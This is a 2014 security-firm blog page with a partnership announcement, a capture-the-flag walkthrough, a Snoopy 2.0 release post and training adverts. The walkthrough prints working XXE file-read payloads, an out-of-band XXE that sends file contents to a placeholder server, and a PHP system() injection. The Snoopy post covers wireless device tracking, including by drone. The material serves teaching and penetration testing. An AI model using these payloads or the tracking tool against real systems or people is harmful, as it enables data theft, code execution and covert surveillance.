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Tue, 5 Aug 2014

SensePost partners with Paterva to offer improved security intelligence

SENSEPOST PNG on clear
We've been big fans of Maltego and the team at Paterva for a very long time now, and we frequently use this powerful tool for all kinds of fun and interesting stuff, like

We go way back with Andrew and Roelof, who was in fact a founder of SensePost, so today we're super excited to be able to announce a new, strengthened partnership with them under which we have been accredited as an Approved Maltego Solutions Provider. Basically this means the that with Paterva's help we plan to use the powerful Maltego toolset to become better at our job - that is to provide information and information systems to our customer with which they can make sound security decisions. Here's the official news:
SensePost today is proud to announce the completion of a contract that will see the company recognized as the world's first “Approved Maltego Solution Provider” (AMSP) and the exclusive provider of this kind in the UK and Southern Africa.


SensePost was founded in 2000 and has developed into one of the worlds leading Information Security Services companies with offices in London, Cape Town and Pretoria. As trusted advisors it has always been our mission to provide our customers with insight, information and systems to enable them to make strong decisions about Information Security that support their business performance. Whilst this mission has traditionally expressed itself in technical security analysis services like Vulnerability Assessment and Penetration Testing we recognise that the threat landscape is constantly changing and that new and more complex realities necessitate the use of sophisticated new skills, tools and techniques with which to support our clients.


“This strategic alliance perfectly fits the ‘Assess-Detect-Protect-Respond' framework that drives the way we design, sell and deliver our service. It's the perfect evolution of our growing services offering.” says Etienne Greef, CEO of the SensePost group holding company SecureData, who's strategy is at the core of this new initiative.


‘Maltego', built by Paterva, is a powerful suite of software tools used for data mining, link analysis and data visualization, giving the user the ability to extract large volumes of data from diverse sources and then analyze it to understand the patterns and relationships it reveals. In the modern digital age these techniques are used to convert data into information and thereby extract concrete value that can be used for effective decision-making.


Maltego is a highly regarded and popular platform used extensively in Open Source Intelligence Gathering, Infrastructure Analysis for Penetration Testing, Cyber Attack Analysis, Fraud Detection and Investigation, Security Intelligence, Information Security Management, Research and more.


This partnership between SensePost and Paterva (who produce the Maltego software) builds on the companies' shared roots and intellectual heritage and will allow both companies to serve their customers and fulfil their respective missions better.


As an AMSP SensePost will be authorised to provide integration, consulting, support and training for the Maltego tools with full endorsement, support and assistance directly from Paterva. This new capability, combined with an existing wealth of information security skills and experience, uniquely positions SensePost to advise and support clients seeking to exploit the unique strategic advantage the Maltego toolset can offer.


More information on our services and capabilities in this space will follow with our official "launch" in a few weeks time. In the mean, here's a brief summary of our new offering.

Fri, 27 Jun 2014

SensePost Challenge - Winners and Walkthrough

We recently ran our Black Hat challenge where the ultimate prize was a seat on one of our training courses at Black Hat this year. This would allow the winner to attend any one of the following:


The challenge was extremely well received and we received 6 successful entries and numerous other attempts. All the solutions were really awesome and we saw unique attacks, with the first three entrants all solving the challenge in a different way.

Walk-through


As stated, there are multiple ways of solving the challenge, we are just going to outline one way that hopefully provides multiple techniques which can be used in real-world pentests.

Flag 1:


The challenge started with the initial goal of "Read the file /home/spuser/flag1.txt" . When visiting the challenge website there were three initial pages available "index","about" and "login". We had numerous challengers head straight to the login page and attempt SQLi. The other common attack we saw was bruteforce attempts against the login. Both of these were fair attempts, however, the real point of interest should have been the "Feed tester" feature on the index page.


The index page had a feed tester feature, this allowed loading of external XML formatted feeds.
The index page had a feed tester feature, this allowed loading of external XML formatted feeds.


Simply trying out this feature and viewing how it functions. Viewing the feed tester result, we noticed that the contents of the XML formatted RSS feed were echoed and it became clear that this may be vulnerable to XXE. The first step would be to try a simple XML payload such as:




<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<foo>&xxe;</foo>


This would fail with an error message of "Something went wrong". The reason for this was that the application was attempting to parse the XML for valid RSS tags. Thus we need to alter our payload to conform to be a valid RSS feed (We used this as a template).




<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<rss>
<channel>
<title>FreeStuff</title>
<link>http://www.w3schools.com</link>
<description>Free web building tutorials</description>
<item>
<title>RSS Tutorial</title>
<link>http://www.w3schools.com/rss</link>
<description>&xxe;</description>
</item>
<item>
<title>XML Tutorial</title>
<link>http://www.w3schools.com/xml</link>
<description>New XML tutorial on W3Schools</description>
</item>
</channel>
</rss>


And we should see the contents of flag1.txt displayed in our feed:
And we've captured flag1
And we've captured flag1 Now onto flag 2...

Flag 2:


The contents of flag1.txt revealed the "access code" we needed to log into the site. So we went over to the login page and entered an email address as the username and the access code as our password. Viola, we now have access to the "main" page as well. This page revealed some new functionality, namely the ability to update our user details. Unfortunately there was no upload function here, so there goes the easy shell upload. We updated the user account and used Burp to look at the submitted request.


The submitted POST request
The submitted POST request


It looks like we have some more XML being submitted.. Again we tried XXE and found that using "file://" in our payload created an error. There were ways around this, however the returned data would be truncated and we would not be able to see the full contents of flag2.txt... When stuck with XXE and not being able to see the result (or complete result) there is always the chance that we can get the data out via the network. To do this we needed to generate a payload that would allow us to fetch an external DTD and then "submit" the contents of our target file to a server under our control. Our payload on our server looked like this:




<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/home/spuser/flag2.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:8000/?%data;'>">


Note how we had to use the php://filter function to base64 encode our payload. This allowed us to avoid control characters breaking the XML structure and URL format. Finally, the payload submitted to the challenge server simply consisted of:




<?xml version="1.0" ?>
<!DOCTYPE r [<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:8000/ev.xml">
%sp;%param1;]>
<r>&exfil;</r>


We didn't really need to worry about what happens after our "XXE payload" because the xmldecoder had already submitted the contents of file2.txt to our server before the application code started parsing the XML document. When submitting the payload we needed to encode the % and & symbols otherwise these broke the XML decoder.


Our payload was correctly encoded submitted to the profile update function.
Our payload was correctly encoded submitted to the profile update function.


As soon as the XML decoder parsed our malicious payload, we would receive the base64 encoded contents on our server:


The challenge server would send the contents of flag2.txt to our server.
The challenge server would send the contents of flag2.txt to our server.


Now it was a simple matter of decoding the payload and we had the second flag. This was not the only way to get flag 2! It was the most "fun" way of doing it though and used a really handy method. Remember it for your next pentest...

Flag 3 AKA "get your name on the wall of fame":


Flag 2 gave us the access code we needed to unlock the final piece of the challenge. This presented us with the "add a feed" feature. Again, we first tried out the new feature to see what was happening. Our first observation was that nothing happens when we just add the feed. However, things do get interesting when we view our new feed. The new feed is displayed in a freshly generated php page. This should have triggered warning bells, we've got php being generated, how about we inject some php? Looking at the feed creation we again note that the payload consists of some XML being submitted. Now if we wanted to inject a shell, how would we do this without breaking the XML structure? Two options were available to us, one, encoding and two XML trickery. The encoding option was simple, simply encode all the angle brackets of our php payload and then insert it into our XML payload. This worked because php was kind enough to decode the URL encoded elements AFTER the XML decoder had done it's thing. Thus the XML validated successfully and our encoded characters got decoded back into their original form before being inserted into our new php file. The second option was to surround our php code with CDATA tags. The CDATA tags told the XML decoder not to parse the content surrounded by these tags as XML but rather treat it as free text. Simple enough and quicker than manually encoding our payload. Thus our new payload would look as follows:




<feed><name><![CDATA[<?php system('echo etienne >> /home/spuser/wof.txt') ?>]]></name><url>http://google.com/</url></feed>


Now we had a new link created in the feeds list. We could navigate to this new feed and our php code would get executed as the page loaded. And boom, just like that our name should be on the "Wall of Fame". We could easily verify this by using the XXE from flag 1 and fetching /home/spuser/wof.txt instead. Below is the "Wall of Fame" at time of writing:

  • secdefect

  • Ron

  • ftard

  • send9 wuz here

  • @leonjza was here :)

  • harry@nsense was here 1403445693

  • #uushomo@1403472051

  • marquee was here

  • El Gato!El Gato!

  • melih_sarica_ms_isr_com_tr_was_here


Winners!


Congratulations to everyone who finished the challenge! However, there could only be one winner. The winner is Espes, who narrowly beat our two runners up to win a training ticket for any one of our course at Black Hat Vegas 2014.


The two runners up who both can claim one of our awesome 2014 t-shirts:


Vitaly aka @send9


Sash aka @secdefect


Education is the most powerful weapon which you can use to change the world - Mandela
Education is the most powerful weapon which you can use to change the world - Nelson Mandela

Fri, 13 Jun 2014

Release the hounds! Snoopy 2.0

theHounds
Friday the 13th seemed like as good a date as any to release Snoopy 2.0 (aka snoopy-ng). For those in a rush, you can download the source from GitHub, follow the README.md file, and ask for help on this mailing list. For those who want a bit more information, keep reading.

What is Snoopy?


Snoopy is a distributed, sensor, data collection, interception, analysis, and visualization framework. It is written in a modular format, allowing for the collection of arbitrary signals from various devices via Python plugins.


It was originally released as a PoC at 44Con 2012, but this version is a complete re-write, is 99% Python, modular, and just feels better. The 'modularity' is possibly the most important improvement, for reasons which will become apparent shortly.


Tell me more!


We've presented our ongoing work with snoopy at a bunch of conferences under the title 'The Machines that Betrayed Their Masters'. The general synopsis of this research is that we all carry devices with us that emit wireless signals that could be used to:

  • Uniquely identify the device / collection of devices

  • Discover information about the owner (you!)


This new version of snoopy extends this into other areas of RFID such as; Wi-Fi, Bluetooth, GSM, NFC, RFID, ZigBee, etc. The modular design allows each of these to be implemented as a python module. If you can write Python code to interface with a tech, you can slot it into a snoopy-ng plugin.


We've also made it much easier to run Snoopy by itself, rather than requiring a server to sync to as the previous version did. However, Snoopy is still a distributed framework and allows the deployment of numerous Snoopy devices over some large area, having them all sync their data back to one central server (or numerous hops through multiple devices and/or servers). We've been working on other protocols for data synchronisation too - such as XBee. The diagram below illustrates one possible setup:


Architecture Diagram

OK - but how do I use it?


I thought you'd never ask! It's fairly straight forward.

Hardware Requirements


Snoopy should run on most modern computers capable of running Linux, with the appropriate physical adapters for the protocols you're interested in. We've tested it on:

  • Laptop

  • Nokia N900 (with some effort)

  • Raspberry Pi (SnooPi!)

  • BeagleBone Black (BeagleSnoop!)


In terms of hardware peripherals, we've been experimenting with the following:
TechnologyHardwareRange
Wi-FiAWUS 036H100m
BluetoothUbertooth50m
ZigBeeDigi Xbee1km to 80kms
GSMRTL2832U SDR35kms
RFIDRFidler15cm
NFCACR122U10cm


The distances can be increased with appropriate antennas. More on that in a later blog post.

Software Requirements


Essentially a Linux environment is required, but of more importance are the dependencies. These are mostly Python packages. We've tested Snoopy on Kali 1.x, and Ubuntu 12.04 LTS. We managed to get it working on Maemo (N900) too. We're investigating getting it running on OpenWRT/ddWRT. Please let us know if you have success.

Installation


It should be as simple as:
git clone https://github.com/sensepost/snoopy-ng.git
cd snoopy-ng
bash ./install.sh

Usage


Run Snoopy with the command 'snoopy', and accept the License Agreement. We'd recommend you refer to the README.md file for more information, but here are a few examples to get you going:


1. To save data from the wireless, sysinfo, and heartbeat plugins locally:

snoopy -v -m wifi:iface=wlanX,mon=True -m sysinfo -m heartbeat -d <drone name> -l <location name>

2. To sync data from a client to a server:


Server:

snoopy_auth --create <drone name> # Create account
snoopy -v -m server # Start server plugin

Client:
snoopy -v -m wifi:iface=mon0 -s http://<server hostname>:9001/ -d <drone name> -l <location name> -k

Data Visualization


Maltego is the preferred tool to perform visualisation, and where the beauty of Snoopy is revealed. See the README.md for instructions on how to use it.

I heard Snoopy can fly?


You heard right! Well, almost right. He's more of a passenger on a UAV:



There sure is a lot of stunt hacking in the media these days, with people taking existing hacks and duct-taping them to a cheap drone for media attention. We were concerned to see stories on snoopy airborne take on some of this as the message worked its way though the media. What's the benefit of having Snoopy airborne, then? We can think of a few reasons:


  1. Speed: We can canvas a large area very quickly (many square kilometres)

  2. Stealth: At 80m altitude the UAV is out of visual/audible range

  3. Security: It's possible to bypass physical security barriers (walls, men with guns, dogs)

  4. TTL (Tag, Track, Locate): It's possible to search for a known signature, and follow it


We're exploring the aerial route a whole lot. Look out for our DefCon talk in August for more details.

Commercial Use


The license under which Snoopy is released forbids gaining financially from its use (see LICENSE.txt). We have a separate license available for commercial use, which includes extra functionality such as:

  • Syncing data via XBee

  • Advanced plugins

  • Extra/custom transforms

  • Web interface

  • Prebuilt drones


Get in contact (glenn@sensepost.com / research@sensepost.com) if you'd like to engage with us.

Tue, 20 May 2014

Mobile Training Reloaded - Las Vegas

Get some.

Exploiting next gen apps
With the explosion in mobile device popularity and the applications that go along with these, testing mobile application security has become a key skill in every pentester's arsenal. Last year we launched the Hacking by Numbers: Mobile, course at BlackHat Las Vegas and follow up training at BlackHat WestCoast Trainings. This year we are taking Mobile training to the next level with Hacking by Numbers reloaded, Mobile Bootcamp (https://www.blackhat.com/us-14/training/hacking-by-numbers-reloaded-mobile-bootcamp.html)


The course has undergone the full reloaded treatment, with our trainers pouring new tips, tricks and skills into the course, along with incorporating feedback from previous students.

You said mobile?


The mobile space has numerous platforms, each with their own nuances, that would leave any new pentester dizzy. Fortunately this is where the Mobile bootcamp course excels, offering the perfect blend of introductory and advanced techniques, the training is ideal for anyone looking to start testing mobile applications or the experienced tester who is looking to branch out to new platforms.


The training introduces all the core skills required to test applications across the major mobile platforms, particularly:


  • Android

  • IOS

  • Blackberry

  • Windows Phone 8


Training is built around around demonstration and hands-on practical exploitation, with custom practical exercises derived from real-world application security fails.


For a full break-down of the course structure check-out our BlackHat training page (https://www.blackhat.com/us-14/training/hacking-by-numbers-reloaded-mobile-bootcamp.html)

Who should attend?


The course is relevant for attackers, defenders and developers. Students should have some technical ability in Linux, and understand networking fundamentals, but this is a bootcamp level course. Basic programming knowledge is recommended but not essential.


Your trainers will be Etienne (@kamp_staaldraad) and Jurgens, both crazy about mobile security and have executed numerous killshots on all the major mobile platforms.


- Etienne and Jurgens -


 


 

Thu, 15 May 2014

BootCamp Reloaded Infrastructure

Get some.


Why Infrastructure Hacking Isn't Dead


If you work in IT Security you may have heard people utter the phrase,


“Infrastructure hacking is dead!”



We hear this all the time but in all honesty, our everyday experience of working in the industry tells a completely different story.


With this in mind we've decided to factor out our “infrastructure related h@x0ry” from our Bootcamp Course and create a brand spanking new one, completely dedicated to all things ‘infrastructure'.


What You'll Learn


We've re-loaded this course to not only reinforce basic footprinting methodologies - which to be honest, are essential for target acquisition - but to also enable you to exploit common, real-world vulnerabilities.


But that's not all.


We've also highlighted methods for compromising Microsoft Active Directory infrastructures - something that's typical for corporate environments. The way in which we approach this is thorough, effective and shows you how to become DA without necessarily pulling all of your hair out.


A complete company takeover is really just a matter of time.


Get Hands-On Experience


As with all SensePost training courses, we don't just want you to sit there and watch us talk for a few days. Where's the fun in that and how on earth will you get real, tangible experience if you're just sat in a chair?


Not only will we all be doing practicals at the end of each topic, we've also created a brilliant culmination exercise:


“You'll need to compromise a company via the Internet and steal as much data as possible!”


The Bottom Line


The brand new Bootcamp Reloaded Infrastructure will provide you with a thorough introduction to real world hacking of corporate environments. You'll learn everything you need to successfully compromise most corporate networks out there.


For more information on our training offering, head over to here.